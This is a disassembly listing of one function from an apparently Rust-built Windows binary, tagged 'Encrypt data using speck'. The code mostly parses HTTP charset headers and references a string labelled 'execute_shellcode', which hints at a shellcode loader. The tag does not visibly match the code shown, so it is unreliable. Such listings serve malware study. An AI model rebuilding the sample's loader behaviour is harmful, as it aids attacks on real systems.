Function at 0x1400074ed
Capabilities:
Encrypt data using speck

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x968
movaps xmmword [rsp + 0x950], xmm8
movaps xmmword [rsp + 0x940], xmm7
movaps xmmword [rsp + 0x930], xmm6
movabs r14, 0x8000000000000000
lea rbp, [rsp + 0x160]
mov rax, qword [rcx + 0x40]
lea rdx, [rsp + 0x840]
mov qword [rdx + 0x10], rax
movdqu xmm0, xmmword [rcx + 0x30]
movdqa xmmword [rdx], xmm0
mov rax, qword [rcx + 8]
mov qword [rsp + 0x4a8], rax
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x4a0], rax
mov rax, qword [rcx + 0x48]
mov qword [rsp + 0x498], rax
mov rax, qword [rcx + 0x60]
mov qword [rsp + 0x490], rax
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x470], rax
mov rax, qword [rcx + 0x28]
mov qword [rsp + 0x468], rax
xorps xmm6, xmm6
movdqa xmm7, xmmword [str.execute_shellcode]
movdqa xmm8, xmmword [0x1401020b0]
lea r12, [rsp + 0x650]
lea r13, [rsp + 0x780]
lea r15, [rsp + 0x150]
lea rbx, [rsp + 0x108]
mov qword [rsp + 0x278], rax
lea rdi, [rsp + 0x4b0]
mov rcx, rdi
lea rdx, [rsp + 0x840]
mov r8, qword [rsp + 0x4a8]
mov r9, qword [rsp + 0x4a0]
call fcn.1400068a4
lea rsi, [rsp + 0x2e0]
mov rcx, rsi
mov rdx, rdi
mov r8, qword [rsp + 0x498]
mov r9, qword [rsp + 0x490]
call fcn.1400069c9
lea rcx, [rsp + 0x870]
mov rdx, rsi
call fcn.1400a518f
cmp dword [rsp + 0x870], 3
jne 0x140007642
mov rax, qword [rsp + 0x878]
mov qword [rsp + 0x4b0], rax
jmp 0x140009bcc
mov esi, dword [rsp + 0x910]
mov rax, qword [rsp + 0x918]
mov qword [rsp + 0x2d8], rax
mov rax, qword [rsp + 0x920]
mov qword [rsp + 0x2c0], rax
mov rax, qword [rsp + 0x928]
mov qword [rsp + 0x488], rax
mov dword [rsp + 0x100], 0x3b9aca00
cmp esi, 0x3b9aca00
je 0x1400076b6
mov rdi, qword [rsp + 0x908]
call fcn.1400b2280
mov rcx, rax
mov r8, rdi
mov r9d, esi
call fcn.1400ddef0
mov qword [rsp + 0x248], rax
mov dword [rsp + 0x100], edx
call fcn.1400b21a0
mov rsi, rax
mov al, byte [0x14019e160]
mov edx, 0x18
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x14000b2a0
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
lea rax, [0x140158f70]
mov qword [rsp + 0x430], rax
mov qword [rsp + 0x438], rcx
lea rax, [rsp + 0x430]
mov qword [rsp + 0x108], rax
mov r8d, 0x98
lea rcx, [rsp + 0x4b0]
lea rdx, [rsp + 0x870]
call sub.msvcrt.dll_memcpy
lea rax, str.utf_8
mov qword [rsp + 0x548], rax
mov qword [rsp + 0x550], 5
mov byte [rsp + 0x838], 0
xor eax, eax
test al, al
je 0x1400077a8
movzx eax, al
cmp eax, 3
jne 0x14000b1e5
movzx eax, byte [rsp + 0x830]
test eax, eax
je 0x140008042
cmp eax, 3
jne case.default.0x140007796
movzx eax, byte [rsp + 0x7e9]
lea rcx, [0x1401020c0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x7f0]
mov rdx, qword [rax]
jmp 0x1400080d8
mov r8d, 0x98
lea rsi, [rsp + 0x558]
mov rcx, rsi
lea rdx, [rsp + 0x4b0]
call sub.msvcrt.dll_memcpy
mov r15, qword [rsp + 0x548]
mov rdi, qword [rsp + 0x550]
movups xmm0, xmmword [0x14015e438]
movaps xmmword [rsp + 0x2f0], xmm0
movdqu xmm0, xmmword [0x14015e428]
movdqa xmmword [rsp + 0x2e0], xmm0
mov rcx, rsi
lea rdx, [rsp + 0x2e0]
call fcn.14002d142
test rax, rax
movabs r9, 0x100003600
je 0x14000783b
mov rbx, qword [rax + 8]
mov rsi, qword [rax + 0x10]
lea r12, [rbx + rsi]
xor eax, eax
cmp rsi, rax
je 0x14000784e
mov cl, byte [rbx + rax]
inc rax
cmp cl, 9
je 0x140007823
add cl, 0xe0
cmp cl, 0x5f
jb 0x140007823
mov qword [rsp + 0x5f0], 2
xor esi, esi
jmp 0x140007e0d
cmp rsi, 3
jne 0x14000786c
movzx eax, word [rbx]
xor eax, 0x2f2a
movzx ecx, byte [rbx + 2]
xor ecx, 0x2a
or cx, ax
je 0x140007978
lea rdx, [rbx + 2]
xor eax, eax
cmp rsi, rax
je 0x140007953
mov rbp, rax
mov r14, rdx
movzx ecx, byte [rbx + rax]
inc rax
inc rdx
lea r8, [0x140157ca8]
cmp byte [rcx + r8], 0
jne 0x140007872
cmp cl, 0x2f
jne 0x14000794b
test rbp, rbp
je 0x14000794b
mov qword [rsp + 0x58], rdi
lea rcx, [rbx + rbp]
inc rcx
cmp rcx, r12
je 0x1400079f4
xor r10d, r10d
mov rcx, rax
movzx edx, byte [r14 - 1]
mov qword [rsp + 0x90], rcx
lea rdi, [rcx + 1]
mov rcx, rdx
cmp ecx, 0x2b
je 0x1400078f3
cmp ecx, 0x3b
jne 0x14000790d
cmp qword [rsp + 0x90], rax
jbe 0x14000790d
jmp 0x140008343
cmp qword [rsp + 0x90], rax
jbe 0x14000790d
mov r10d, 1
mov r8, qword [rsp + 0x90]
jmp 0x140007921
mov rdx, rcx
lea rcx, [0x140157ca8]
cmp byte [rdx + rcx], 0
je 0x14000832f
inc r14
mov rcx, rdi
cmp rsi, rdi
jne 0x1400078c6
jmp 0x1400079f7
mov qword [rsp + 0x90], rbp
movabs r14, 0x8000000000000000
mov qword [rsp + 0x5f0], 2
xor esi, esi
lea rbp, [rsp + 0x160]
jmp 0x140007e0d
mov eax, dword [0x140157bf4]
mov dword [rsp + 0x153], eax
mov eax, dword [0x140157bf1]
mov dword [rsp + 0x150], eax
lea rax, [r14 + 2]
mov qword [rsp + 0x90], rax
mov eax, 3
mov qword [rsp + 0x240], rax
mov ebp, 1
xor eax, eax
mov qword [rsp + 0x238], rax
xor edx, edx
xor r8d, r8d
lea rax, str.__root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.10.10_src_async_impl_client.rstrust_dns_shouldnt_be_enabled_unless_the_feature_is
mov qword [rsp + 0x118], rax
xor eax, eax
mov qword [rsp + 0x278], rax
xor eax, eax
mov qword [rsp + 0x2d0], rax
xor eax, eax
mov qword [rsp + 0x2c8], rax
xor r10d, r10d
jmp 0x140007ac9
xor r10d, r10d
mov r12, r10
mov r14, r8
mov rcx, rsi
call fcn.1400f4dd8
mov qword [rsp + 0x118], rax
mov rcx, rdx
mov rdx, rbx
mov rdi, rcx
mov r8, rsi
call sub.msvcrt.dll_memcpy
test rsi, rsi
je 0x140007a41
xor eax, eax
mov cl, byte [rdi + rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [rdi + rax], dl
inc rax
cmp rsi, rax
jne 0x140007a25
mov qword [rsp + 0x240], rdi
mov eax, dword [rsp + 0x2e0]
mov ecx, dword [rsp + 0x2e3]
mov dword [rsp + 0x153], ecx
mov dword [rsp + 0x150], eax
mov r8, r14
mov edx, r8d
shr edx, 8
mov rax, r14
shr rax, 0x10
mov qword [rsp + 0x238], rax
movabs r14, 0x8000000000000000
lea rcx, [r14 + 2]
movabs r9, 0x100003600
mov rdi, qword [rsp + 0x58]
mov r10, r12
mov al, 1
mov qword [rsp + 0x278], rax
mov qword [rsp + 0x270], rbp
mov qword [rsp + 0x288], rsi
mov qword [rsp + 0x90], rcx
cmp r10, 2
je 0x14000795d
mov qword [rsp + 0x58], rdi
mov eax, dword [rsp + 0x150]
mov ecx, dword [rsp + 0x153]
mov dword [rsp + 0xc3], ecx
mov dword [rsp + 0xc0], eax
mov rax, qword [rsp + 0x238]
shl rax, 0x10
movzx ecx, dl
shl rcx, 8
or rcx, rax
movzx eax, r8b
or rax, rcx
mov qword [rsp + 0x5f0], r10
mov qword [rsp + 0x5f8], rax
mov r13, qword [rsp + 0x90]
mov qword [rsp + 0x600], r13
mov r12, qword [rsp + 0x480]
mov qword [rsp + 0x608], r12
mov r8, qword [rsp + 0x2c8]
mov qword [rsp + 0x610], r8
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x618], rax
mov rax, qword [rsp + 0x278]
mov byte [rsp + 0x620], al
mov eax, dword [rsp + 0xc0]
mov ecx, dword [rsp + 0xc3]
lea rdx, [rsp + 0x4d0]
mov dword [rdx + 0x154], ecx
mov dword [rdx + 0x151], eax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x628], rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x630], rax
mov rdi, qword [rsp + 0x288]
mov qword [rsp + 0x638], rdi
mov qword [rsp + 0x640], rbp
xor r13, r14
cmp r13, 3
mov eax, 1
cmovae r13, rax
mov r14, r8
shl r14, 5
add r14, r12
test r13, r13
je 0x140007c52
cmp r13, 1
jne 0x140007dc6
cmp r14, r12
lea r13, [rsp + 0x780]
je 0x140007dec
mov rax, qword [r12]
mov r10, qword [r12 + 8]
lea rcx, [rsp + 0x620]
mov dl, byte [rcx]
test dl, dl
mov rbx, qword [rsp + 0x240]
mov rcx, rbx
cmove rcx, qword [rsp + 0x118]
cmove rdi, rbx
mov r11, r10
sub r11, rax
jb 0x14000b1a7
mov r8, qword [r12 + 0x10]
mov r9, qword [r12 + 0x18]
test rax, rax
je 0x140007c81
cmp rax, rdi
jae 0x140007c7b
cmp byte [rcx + rax], 0xc0
jge 0x140007c81
jmp 0x14000b1a7
mov r11d, 7
mov ebx, 5
mov al, 1
mov r13d, 2
lea rsi, str.utf_8
lea rdx, str.charset
mov rcx, rdx
jmp 0x140007d3e
jne 0x14000b1a7
test r10, r10
je 0x140007c9d
cmp r10, rdi
jae 0x140007c97
cmp byte [rcx + r10], 0xbf
jg 0x140007c9d
jmp 0x14000b1a7
jne 0x14000b1a7
test dl, dl
mov rsi, rbx
cmove rsi, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x288]
cmove rdx, rbx
mov rbx, r9
sub rbx, r8
jb 0x14000b1c1
test r8, r8
je 0x140007cdf
cmp r8, rdx
jae 0x140007cd9
cmp byte [rsi + r8], 0xc0
jge 0x140007cdf
jmp 0x14000b1c1
jne 0x14000b1c1
test r9, r9
je 0x140007cfb
cmp r9, rdx
jae 0x140007cf5
cmp byte [rsi + r9], 0xbf
jg 0x140007cfb
jmp 0x14000b1c1
jne 0x14000b1c1
add rcx, rax
cmp r11, 7
jne 0x140007d20
mov eax, dword [rcx]
mov edx, 0x72616863
xor eax, edx
mov edx, dword [rcx + 3]
mov r9d, 0x74657372
xor edx, r9d
or edx, eax
sete al
jmp 0x140007d22
xor eax, eax
lea rdx, str.charset
add r12, 0x20
add rsi, r8
mov r13d, 1
mov rdi, qword [rsp + 0x288]
mov qword [rsp + 0x2e0], rcx
mov qword [rsp + 0x2e8], r11
mov byte [rsp + 0x2f0], 1
lea rcx, [rsp + 0x2f1]
xor r8d, r8d
mov dword [rcx + 3], r8d
mov dword [rcx], r8d
mov qword [rsp + 0x2f8], rsi
mov qword [rsp + 0x300], rbx
mov byte [rsp + 0x308], al
mov dword [rcx + 0x1b], r8d
mov dword [rcx + 0x18], r8d
mov r8d, 7
lea rcx, [rsp + 0x2e0]
call fcn.14004f0dd
test al, al
movabs r9, 0x100003600
je 0x140007bda
mov qword [rsp + 0x868], rsi
mov qword [rsp + 0x860], rbx
mov qword [rsp + 0x270], rbp
jmp 0x140007dd0
mov qword [rsp + 0x270], rbp
xor esi, esi
movabs r14, 0x8000000000000000
lea rbp, [rsp + 0x160]
lea r13, [rsp + 0x780]
jmp 0x140007e08
mov qword [rsp + 0x270], rbp
xor esi, esi
movabs r14, 0x8000000000000000
lea rbp, [rsp + 0x160]
mov rdi, qword [rsp + 0x58]
test rsi, rsi
cmovne r15, rsi
cmove rbx, rdi
lea rax, [rsp + 0x2f1]
movups xmmword [rax - 0x10], xmm6
mov word [rax], 0
test rbx, rbx
lea r12, [rsp + 0x650]
lea rsi, str.l1l2l3l4l5l6l9866mackoigbkbig5utf8koi8sjisucs_2ms932cp866cp819asciix_gbkgreekcp1250cp1251latin1gb2312cp1252latin2cp1253latin3cp1254latin4cp1255csbig5latin5utf_16cp1256ibm866latin6cp1257cp1258greek8ibm819arabicvisualkoreaneuc_jpkoi8_rkoi8_reuc_krx_sjiskoi8_uhebrewtis_620ksc5601gb_2312dos_874cn_big5unicodechineselogicalcskoi8rcseuckrkoi8_rux_cp1250ksc_5601x_cp1251iso88591csgb2312x_cp1252iso88592x_cp1253iso88593ecma_114x_cp1254iso88594x_cp1255iso88595x_x_big5x_cp1256csibm866iso88596x_cp1257iso88597asmo_708ecma_118elot_928x_cp1258iso88598iso88599cyrillicutf_16beutf_16leus_asciims_kanjix_euc_jpiso885910iso8859_1iso885911iso8859_2iso8859_3iso885913iso8859_4iso885914iso8859_5iso885915iso8859_6iso8859_7iso8859_8iso_ir_58iso8859_9csunicodeshift_jisshift_jisiso_ir_100iso8859_10iso_ir_110gb_2312_80iso_8859_1iso_8859_1iso_ir_101iso8859_11iso_8859_2iso_8859_2hz_gb_2312iso_8859_3iso_8859_3iso8859_13iso_8859_4iso_8859_4iso8859_14iso_ir_144iso_8859_5iso_8859_5iso8859_15iso_8859_6iso_8859_6iso_ir_126iso_8859_7iso_8859_7iso_ir_127iso_ir_157iso_8859_8iso_8859_8iso_ir_138iso_ir_148iso_8859_9iso_8859_9iso_ir_109iso_ir_149big5_hkscscsshiftjisiso_8859_10iso_8859_11csisolatin1csisolatin2iso_8859_13csisolatin3iso_8859_14csisolatin4iso_8859_15iso_8859_15csisolatin5iso_8859_16csisolatin6windows_949csisolatin9csiso88596ecsiso88598eunicodefffeunicodefeffcsmacintoshcsiso88596icsiso88598iwindows_31jx_mac_romaniso_2022_cniso_2022_jpcsiso2022jpiso_2022_krcsiso2022kriso_8859_6_eiso_8859_8_eiso_8859_6_iiso_8859_8_isun_eu_greekcsksc56011987unicode20utf8unicode11utf8ks_c_5601_1987ansi_x3.4_1968ks_c_5601_1989csiso58gb231280iso_10646_ucs_2iso_8859_1:1987iso_8859_2:1987iso_8859_6:1987iso_8859_7:1987iso_8859_3:1988iso_8859_4:1988iso_8859_5:1988iso_8859_8:1988x_unicode20utf8iso_8859_9:1989csisolatingreekx_mac_ukrainianiso_2022_cn_extcsisolatinarabiccsisolatinhebrewunicode_1_1_utf_8csisolatincyrilliccseucpkdfmtjapanese
je 0x140007e5d
lea rax, [r15 + rbx]
inc r15
movzx ecx, byte [r15 - 1]
cmp rcx, 0x3a
ja 0x140007e83
bt r9, rcx
jae 0x140007e73
inc r15
dec rbx
jne 0x140007e44
xor eax, eax
lea rcx, [0x14012e428]
lea r15, [rsp + 0x150]
jmp 0x14000800d
movabs rdx, 0x400600000000000
bt rdx, rcx
jb 0x140007e97
cmp ecx, 0x5f
je 0x140007e97
lea edx, [rcx - 0x41]
cmp dl, 0x1a
jae 0x140008312
add ecx, 0x20
mov byte [rsp + 0x2e0], cl
mov ecx, 1
cmp r15, rax
je 0x140007f6f
movzx edx, byte [r15 + rcx - 1]
cmp rdx, 0x3a
ja 0x140007ece
movabs r8, 0x400600000000000
bt r8, rdx
jb 0x140007ed3
bt r9, rdx
jb 0x140007f3d
cmp edx, 0x5f
jne 0x140007efe
cmp rcx, 0x13
je 0x140007e5d
cmp rcx, 0x12
ja 0x14000b151
mov byte [rsp + rcx + 0x2e0], dl
lea rdx, [r15 + rcx]
inc rdx
inc rcx
dec rdx
cmp rdx, rax
jne 0x140007eac
jmp 0x140007f6f
lea r8d, [rdx - 0x41]
cmp r8b, 0x1a
jae 0x140007f24
cmp rcx, 0x13
je 0x140007e5d
jae 0x14000b186
add edx, 0x20
mov byte [rsp + rcx + 0x2e0], dl
jmp 0x140007eea
lea r8d, [rdx - 0x61]
cmp r8b, 0x1a
jb 0x140007ed3
lea r8d, [rdx - 0x3a]
cmp r8b, 0xf6
jae 0x140007ed3
jmp 0x140007e5d
add r15, rcx
cmp r15, rax
je 0x140007f6f
movzx edx, byte [r15]
cmp rdx, 0x20
ja 0x140007e5d
bt r9, rdx
jae 0x140007e5d
inc r15
cmp r15, rax
jne 0x140007f45
cmp rcx, 0x14
jae 0x14000b2c4
mov eax, 0xe4
xor edx, edx
mov r8d, 0xe4
mov edi, 0xff
lea r15, [rsp + 0x150]
shr rax, 1
add rax, rdx
mov r10, rax
shl r10, 4
xor r9d, r9d
cmp qword [r10 + rsi + 8], rcx
setne r9b
cmovb r9d, edi
jne 0x140007fd4
mov r10, qword [r10 + rsi]
mov r11, rcx
test r11, r11
je 0x140007ffb
mov bl, byte [r10 + r11 - 1]
xor r9d, r9d
cmp bl, byte [rsp + r11 + 0x2df]
setne r9b
cmovb r9d, edi
dec r11
test r9b, r9b
je 0x140007faf
cmp r9b, 0xff
je 0x140007fe9
movzx r8d, r9b
cmp r8d, 1
jne 0x140007ffb
mov r8, rax
jmp 0x140007ff2
inc rax
mov rdx, rax
mov rax, r8
sub rax, rdx
ja 0x140007f89
xor eax, eax
jmp 0x140008006
lea rcx, [0x14012fcc8]
mov rax, qword [rcx + rax*8]
lea rcx, [0x14012e428]
lea rbx, [rsp + 0x108]
test rax, rax
cmove rax, rcx
mov qword [rsp + 0x648], rax
mov r8d, 0x98
mov rcx, r12
lea rdx, [rsp + 0x558]
call sub.msvcrt.dll_memcpy
mov byte [rsp + 0x830], 0
mov r8d, 0x98
lea rcx, [rsp + 0x6e8]
mov rdx, r12
call sub.msvcrt.dll_memcpy
lea rax, [rsp + 0x4d0]
movdqu xmm0, xmmword [rax + 0x280]
movups xmm1, xmmword [rax + 0x290]
movaps xmmword [rsp + 0x2f0], xmm1
movdqa xmmword [rsp + 0x2e0], xmm0
mov ecx, 0xd
mov rdi, r13
lea rsi, [rsp + 0x2e0]
rep movsq qword [rdi], qword [rsi]
mov byte [rsp + 0x7e9], 0
mov byte [rsp + 0x7e8], 0
movdqu xmm0, xmmword [r13]
movdqu xmm1, xmmword [r13 + 0x10]
lea rdx, [rsp + 0x7a0]
movdqu xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov qword [rsp + 0x7e0], rdx
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x7f0], rax
mov rcx, r15
mov r8, rbx
call fcn.1400549f1
mov rcx, qword [rsp + 0x150]
cmp rcx, 2
jne 0x1400080f8
mov al, 3
jmp 0x140008db3
mov rax, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x160]
movups xmm0, xmmword [rbp + 8]
movaps xmmword [rsp + 0xa0], xmm0
test rcx, rcx
je 0x140008182
test rax, rax
je 0x140008217
mov byte [rsp + 0x7e8], 1
mov qword [rsp + 0x7c0], rax
mov qword [rsp + 0x7c8], rdx
movdqa xmm0, xmmword [rsp + 0xa0]
lea rax, [rsp + 0x7d0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x7f0], rax
mov rdx, qword [rax]
mov rcx, r15
mov r8, rbx
call fcn.1400549f1
mov rcx, qword [rsp + 0x150]
cmp rcx, 2
jne 0x1400081a2
mov al, 4
jmp 0x140008db3
movaps xmmword [rsp + 0x250], xmm6
lea rsi, [0x14015b288]
lea rax, [0x14018ced8]
mov qword [rsp + 0x58], rax
jmp 0x140008ef5
mov rax, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x160]
movups xmm0, xmmword [rbp + 8]
movaps xmmword [rsp + 0xa0], xmm0
test rcx, rcx
je 0x140008223
test rax, rax
je 0x140008ec1
mov qword [rsp + 0x810], rax
mov qword [rsp + 0x818], rdx
movaps xmm0, xmmword [rsp + 0xa0]
lea rax, [rsp + 0x4d0]
movups xmmword [rax + 0x350], xmm0
mov rax, qword [rsp + 0x7e0]
mov rsi, qword [rsp + 0x820]
add rsi, qword [rsp + 0x7d0]
cmp qword [rax], 0
je 0x14000826c
add rax, 0x10
jmp 0x14000827d
mov qword [rsp + 0x58], rdx
xor esi, esi
jmp 0x140008ef5
mov rsi, qword [rsp + 0x7c0]
mov rdx, qword [rsp + 0x7c8]
lea rax, [rsp + 0x7d0]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x250], xmm0
lea rcx, [0x1401071d0]
mov qword [rsp + 0x7c0], rcx
lea rcx, [0x14018ced8]
mov qword [rsp + 0x7c8], rcx
movups xmmword [rax], xmm6
jmp 0x140008ec3
mov rdx, qword [rax + 8]
mov rax, qword [rax + 0x10]
mov rcx, r15
call qword [rax + 0x30]
mov rax, rbp
add rsi, qword [rax]
mov rcx, rsi
call fcn.1400f4dd8
mov qword [rsp + 0x7f0], rax
mov qword [rsp + 0x7f8], rdx
mov qword [rsp + 0x800], 0
mov byte [rsp + 0x7e8], 0
lea rsi, [rsp + 0x4d0]
movups xmm0, xmmword [rsi + 0x2f0]
movups xmm1, xmmword [rsi + 0x300]
movaps xmmword [rsp + 0x150], xmm0
movaps xmmword [rsp + 0x160], xmm1
lea rdi, [rsp + 0x7f0]
mov rcx, rdi
mov rdx, r15
call fcn.1400a4721
movdqu xmm0, xmmword [rsi + 0x340]
movdqu xmm1, xmmword [rsi + 0x350]
movdqa xmmword [rsp + 0x160], xmm1
movdqa xmmword [rsp + 0x150], xmm0
mov rcx, rdi
mov rdx, r15
jmp 0x140008e2e
lea edx, [rcx - 0x61]
cmp dl, 0x1a
jb 0x140007e97
lea edx, [rcx - 0x30]
cmp dl, 0xa
jae 0x140007e5d
jmp 0x140007e97
movabs r14, 0x8000000000000000
mov rdi, qword [rsp + 0x58]
jmp 0x14000795d
movabs rax, 0x8000000000000000
add rax, 2
mov qword [rsp + 0x2e0], rax
cmp rdi, rsi
mov qword [rsp + 0x50], r10
jae 0x1400088ac
mov rax, qword [rsp + 0x90]
lea rcx, [rax + 2]
mov qword [rsp + 0x110], rcx
lea rdx, [rbx + rax]
add rdx, 2
mov rax, rdi
mov qword [rsp + 0x98], rax
mov r10, rdi
cmp r14, r12
je 0x14000895c
movzx eax, byte [r14]
inc r14
lea rdi, [r10 + 1]
cmp rax, 0x20
je 0x14000846c
lea rcx, [0x140157ca8]
cmp byte [rax + rcx], 0
jne 0x14000838e
cmp al, 0x3d
jne 0x140008d43
cmp r10, qword [rsp + 0x98]
jbe 0x140008d43
mov qword [rsp + 0x80], rdx
xor eax, eax
mov qword [rsp + 0x88], rdi
test al, al
je 0x140008425
cmp r14, r12
je 0x140008ab4
lea rcx, [r14 + 1]
movzx edx, byte [r14]
mov r11, rdi
inc rdi
cmp rdx, 0x22
jne 0x14000840f
cmp r11, qword [rsp + 0x88]
ja 0x140008488
cmp dl, 0x20
jb 0x140008ac8
mov r14, rcx
cmp dl, 0x7f
jne 0x1400083e4
jmp 0x140008ac8
cmp r14, r12
je 0x1400084b8
movzx ecx, byte [r14]
inc r14
mov qword [rsp + 0x48], rdi
inc rdi
cmp rcx, 0x22
je 0x140008452
lea rdx, [0x140157ca8]
cmp byte [rcx + rdx], 0
jne 0x1400083e4
jmp 0x1400084c5
mov al, 1
mov rcx, qword [rsp + 0x88]
cmp qword [rsp + 0x48], rcx
je 0x1400083dc
jmp 0x140008d6a
mov rax, qword [rsp + 0x98]
cmp r10, rax
jne 0x140008d41
inc rax
mov r11, rax
jmp 0x140008859
mov qword [rsp + 0x48], r11
cmp rcx, r12
je 0x1400084b3
mov rax, qword [rsp + 0x48]
add rax, r12
sub rax, r14
movzx edx, byte [rcx]
cmp edx, 0x20
jne 0x1400084e2
inc rcx
inc rdi
cmp rcx, r12
jne 0x14000849d
mov rdi, rax
mov r14, r12
jmp 0x1400084c0
mov r14, r12
mov qword [rsp + 0x48], rsi
mov r11, rsi
jmp 0x1400084f7
cmp cl, 0x3b
jne 0x140008d6c
mov rax, qword [rsp + 0x88]
cmp qword [rsp + 0x48], rax
ja 0x1400084f4
jmp 0x140008d6c
cmp edx, 0x3b
jne 0x140008d1e
inc rdi
inc rcx
mov r14, rcx
mov r11, rdi
mov qword [rsp + 0x60], r10
mov rdx, qword [rsp + 0x2e0]
mov rax, rdx
movabs rcx, 0x8000000000000000
xor rax, rcx
cmp rax, 3
mov ecx, 1
cmovae rax, rcx
test rax, rax
je 0x1400085d8
cmp rax, 1
jne 0x140008687
mov rax, qword [rsp + 0x2f0]
cmp rax, rdx
mov r10, qword [rsp + 0x70]
jne 0x140008587
lea rcx, [rsp + 0x2e0]
mov qword [rsp + 0x68], r8
mov qword [rsp + 0xf8], r11
call fcn.14004eff3
mov r11, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x68]
movabs r9, 0x100003600
mov r10, qword [rsp + 0x2e8]
mov rax, qword [rsp + 0x2f0]
mov rcx, rax
shl rcx, 5
mov rdx, qword [rsp + 0x98]
mov qword [r10 + rcx], rdx
mov rdx, qword [rsp + 0x60]
mov qword [r10 + rcx + 8], rdx
mov rdx, qword [rsp + 0x88]
mov qword [r10 + rcx + 0x10], rdx
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x70], r10
mov qword [r10 + rcx + 0x18], rdx
inc rax
mov qword [rsp + 0x2f0], rax
mov rdx, qword [rsp + 0x80]
jmp 0x140008859
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0xf8], r11
mov qword [rsp + 0x68], r8
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x280], rax
mov al, byte [0x14019e160]
mov edx, 0x40
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x14000b3f6
mov r9, rax
mov rdx, qword [rsp + 0x280]
lea rax, [rdx + 0xf]
lea rcx, [rdx + 9]
lea r10, [rdx + 0xa]
mov r8d, 2
add r8, rdx
mov qword [r9], r8
mov qword [r9 + 8], rcx
mov qword [r9 + 0x10], r10
mov qword [r9 + 0x18], rax
mov rax, qword [rsp + 0x98]
mov qword [r9 + 0x20], rax
mov rax, qword [rsp + 0x60]
mov qword [r9 + 0x28], rax
mov rax, qword [rsp + 0x88]
mov qword [r9 + 0x30], rax
mov rax, qword [rsp + 0x48]
mov qword [r9 + 0x38], rax
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x70], r9
call fcn.14004f0ac
mov eax, 2
jmp 0x14000880d
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0xf8], r11
mov qword [rsp + 0x68], r8
mov rax, qword [rsp + 0x110]
cmp rax, qword [rsp + 0x98]
jne 0x1400087aa
mov r10, qword [rsp + 0x110]
test r10, r10
mov r9, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x80]
je 0x1400086d2
cmp byte [rdx], 0xc0
jl 0x14000b405
cmp r9, rsi
jae 0x1400086e3
cmp byte [rbx + r9], 0xbf
jg 0x1400086e9
jmp 0x14000b405
jne 0x14000b405
mov r8, r9
sub r8, r10
lea rcx, str.charset
call fcn.14004f0dd
test al, al
je 0x1400087aa
mov r8, qword [rsp + 0x48]
mov r9, qword [rsp + 0x88]
sub r8, r9
jb 0x14000b46a
test r9, r9
je 0x140008735
cmp r9, rsi
jae 0x14000872f
cmp byte [rbx + r9], 0xc0
jge 0x140008735
jmp 0x14000b46a
jne 0x14000b46a
cmp qword [rsp + 0x48], 0
je 0x140008758
mov rax, qword [rsp + 0x48]
cmp rax, rsi
jae 0x140008752
cmp byte [rbx + rax], 0xbf
jg 0x140008758
jmp 0x14000b46a
jne 0x14000b46a
lea rdx, [rbx + r9]
lea rcx, str.utf_8
call fcn.14004f0dd
test al, al
je 0x1400087aa
mov rdx, qword [rsp + 0x2e8]
mov rcx, qword [rsp + 0x70]
call fcn.14004f0ac
movabs rax, 0x8000000000000000
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x70], rax
jmp 0x14000883a
mov al, byte [0x14019e160]
mov edx, 0x20
xor ecx, ecx
call fcn.1400ddfb0
test rax, rax
je 0x14000b41f
mov r8, rax
mov rax, qword [rsp + 0x98]
mov qword [r8], rax
mov rax, qword [rsp + 0x60]
mov qword [r8 + 8], rax
mov rax, qword [rsp + 0x88]
mov qword [r8 + 0x10], rax
mov rax, qword [rsp + 0x48]
mov qword [r8 + 0x18], rax
mov rdx, qword [rsp + 0x2e8]
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x70], r8
call fcn.14004f0ac
mov eax, 1
mov qword [rsp + 0x2e0], rax
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x2e8], rcx
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x2f8], rax
movabs r9, 0x100003600
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x80]
mov r11, qword [rsp + 0xf8]
mov rax, r11
cmp r11, rsi
jb 0x140008386
mov rdx, qword [rsp + 0x2e0]
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x2f0]
mov r12, qword [rsp + 0x2f8]
movabs r14, 0x8000000000000000
lea rax, [r14 + 3]
mov qword [rsp + 0x48], rdx
cmp rdx, rax
mov rdi, qword [rsp + 0x58]
jne 0x1400088dd
jmp 0x1400089b1
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x78], rax
mov rcx, qword [rsp + 0x2f0]
mov r12, qword [rsp + 0x2f8]
movabs r14, 0x8000000000000000
mov rdi, qword [rsp + 0x58]
mov qword [rsp + 0x60], rcx
mov rax, qword [rsp + 0x48]
